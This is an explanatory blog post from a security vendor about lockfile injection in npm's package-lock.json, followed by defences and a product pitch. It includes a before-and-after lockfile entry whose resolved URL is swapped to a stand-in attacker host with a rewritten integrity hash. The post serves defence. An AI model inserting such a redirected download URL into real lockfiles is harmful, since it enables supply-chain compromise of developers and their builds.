Lockfile Injection Explained

Lockfile Injection Explained

Written by

in

A lockfile is supposed to make installs boring and repeatable. It pins the exact version of every dependency, the URL each one was downloaded from, and a hash that proves the bytes did not change. A lockfile injection abuses that promise: an attacker edits the lockfile in a pull request so an install pulls attacker content, while the manifest a reviewer actually reads still looks completely normal.

What a lockfile really guarantees

In the npm world you have two files. package.json is the manifest you write by hand. It lists the packages you want and the version ranges you accept, like "express": "^4.18.0". That caret means “any 4.x above 4.18.0”, which is a range, not a fixed choice.

The lockfile, package-lock.json, is the resolved answer to that range. It records the one version that got installed, the registry URL the tarball came from, and an integrity hash of that tarball. Here is a single dependency as it appears in a lockfile:

"node_modules/left-pad": {
  "version": "1.3.0",
  "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
  "integrity": "sha512-XI5MPzVNApjAyhQzphX8BkmKsKUxD4LdyK24iZeQGinBN9yTQT3bFlCBy/aVx2HrNcqQGsdot8ghrjyrvMCoEA==",
  "license": "WTFPL"
}

When your teammate, your CI runner, and your production build all install from this file, they all fetch the same bytes from the same place. That is the point. The manifest says what you want; the lockfile says exactly what you got.

How lockfile injection turns that against you

The trick is that reviewers read the manifest and skim the lockfile. A change to package.json is short and human. Adding a dependency is one line, and everybody looks at it. The lockfile is thousands of lines of machine generated JSON, and a real install rewrites big chunks of it for reasons nobody wants to trace. So a pull request that touches both files gets a careful read on the manifest and a tired scroll past the lock.

An attacker who can open a pull request exploits exactly that gap. They leave the manifest untouched, or make one innocent looking edit, and change the resolved field deep inside the lockfile to point at a source they control. The visible dependency name and version stay the same. Only the download location moves.

Here is the before and after of one entry. The version string does not change. The resolved URL does:

// before
"node_modules/left-pad": {
  "version": "1.3.0",
  "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
  "integrity": "sha512-XI5MPzVNApjAyhQzphX8BkmKsKUxD4LdyK24iZeQGinBN9yTQT3bFlCBy/aVx2HrNcqQGsdot8ghrjyrvMCoEA=="
}

// after
"node_modules/left-pad": {
  "version": "1.3.0",
  "resolved": "https://registry.internal-cdn-mirror.example/left-pad/-/left-pad-1.3.0.tgz",
  "integrity": "sha512-9tqA0Fake0HashThatMatchesTheAttackerTarballNotTheRealOneAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
}

Read the two blocks. The name is left-pad. The version is 1.3.0. Anyone checking “did they bump a dependency” sees no bump. But the install now fetches the tarball from registry.internal-cdn-mirror.example, a host the attacker set up, and the integrity hash was rewritten to match the attacker tarball so the check still passes. The package that runs in your build is not the one on the public registry.

Why the danger hides in resolved and integrity

Two fields do all the work here, and they are the two nobody reads closely.

  • resolved is the actual download URL. Change it and you change where the bytes come from without touching the name a human recognizes.
  • integrity is the hash that is supposed to catch tampering. But the hash only proves the tarball matches the value written next to it. If the attacker controls both the tarball and the hash in the same edit, the check confirms their file, not the real one.

That is the part people get wrong about integrity hashes. They stop a bit flip in transit. They do not stop an author who rewrites the hash and the URL together in one commit. The hash is only as trustworthy as the review of the line it sits on.

An integrity hash proves the download matches the lockfile. It does not prove the lockfile matches what you meant to install.

Once a malicious package is installed, it usually does its work through an install script. That is the same mechanism covered in our writeup on malicious npm lifecycle scripts, where a postinstall hook runs attacker code the moment the package lands. Lockfile injection is one clean way to get that package onto the machine in the first place.

A concrete review failure

Picture a pull request titled “bump lint config”. The manifest diff is one line: a patch bump to a dev dependency. Looks safe, approve it. Buried 400 lines down in the lockfile, one transitive dependency had its resolved URL swung to an attacker host and its integrity rewritten. The reviewer approved the title and the manifest. The build installed a backdoored package on the next CI run. Nobody typed a malicious version number, so no version check caught it. This is close cousin to a dependency confusion attack, except here the swap happens inside a file you already trust rather than through a name the resolver guesses wrong.

How to defend against lockfile injection

The defenses are not exotic. They are mostly about treating the lockfile as security relevant code, not as noise.

  • Read lockfile diffs on purpose. Do not scroll past them. In a legitimate change the resolved hosts should all point at your expected registry. A single entry pointing somewhere else is the whole attack.
  • Pin the registry and verify hashes. Set your registry explicitly and install with npm ci, which installs strictly from the lockfile and fails if the manifest and lock disagree. Verifying integrity is only meaningful when the hash was reviewed, not just when it matches.
  • Use a private registry as the single source. When every package flows through one internal registry, any resolved URL that points off that host is obviously wrong and easy to flag.
  • Restrict who can change the lockfile. Put package-lock.json behind a code owners rule so a real maintainer has to approve any edit to it.
  • Automate the check. Add a CI step that parses the lockfile and fails the build if any resolved URL points off your expected registry domain. A machine reads all 3000 lines without getting tired, which is exactly the weakness the attacker relied on.

The strongest long term answer is being able to trace an installed artifact back to a build you trust. That is what signed provenance is for, and we cover it in build provenance and SLSA. If you can prove the tarball you installed came from the source you expect, a rewritten resolved URL has nowhere to hide.

Where this fits

Lockfile injection works because a file built for trust is too big and too dull to read, and review habits lean on the small human file next to it. The fix is to stop trusting the lockfile by default and start checking the two fields that decide where your code comes from. For more supply chain teardowns like this one, browse our deep dives. This is the kind of quiet, assumption breaking bug that an autonomous researcher which tests what an app and its build actually trust is built to surface, and you can read how we think about that on our about page.

Frequently asked questions

What is lockfile injection?

Lockfile injection is a supply chain attack where someone edits a lockfile like package-lock.json in a pull request to change the resolved download URL of a dependency to a source they control. The package name and version stay the same, so a reviewer reading the manifest sees nothing wrong, but the install fetches attacker content instead of the real package.

Why do integrity hashes not stop lockfile injection?

An integrity hash only proves the downloaded tarball matches the hash written next to it in the lockfile. If an attacker rewrites the resolved URL and the integrity hash together in the same commit, the check passes against their malicious tarball. The hash catches tampering in transit, not an author who changes both fields at once, so it is only as trustworthy as the review of that line.

How is lockfile injection different from dependency confusion?

In a dependency confusion attack the resolver is tricked into pulling a package from the wrong place because of how it picks between a public and a private name. In lockfile injection the swap happens inside a file you already trust and check into your repo. Nobody changes a version number or a package name, so version based checks do not catch it.

How do you defend against lockfile injection?

Read lockfile diffs carefully and confirm every resolved URL points at your expected registry, install with npm ci so the lock and manifest must agree, route packages through a single private registry, put the lockfile behind a code owners rule, and add a CI check that fails the build if any resolved URL points off your registry domain. Signed build provenance makes it even harder by tying an artifact back to a build you trust.


Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.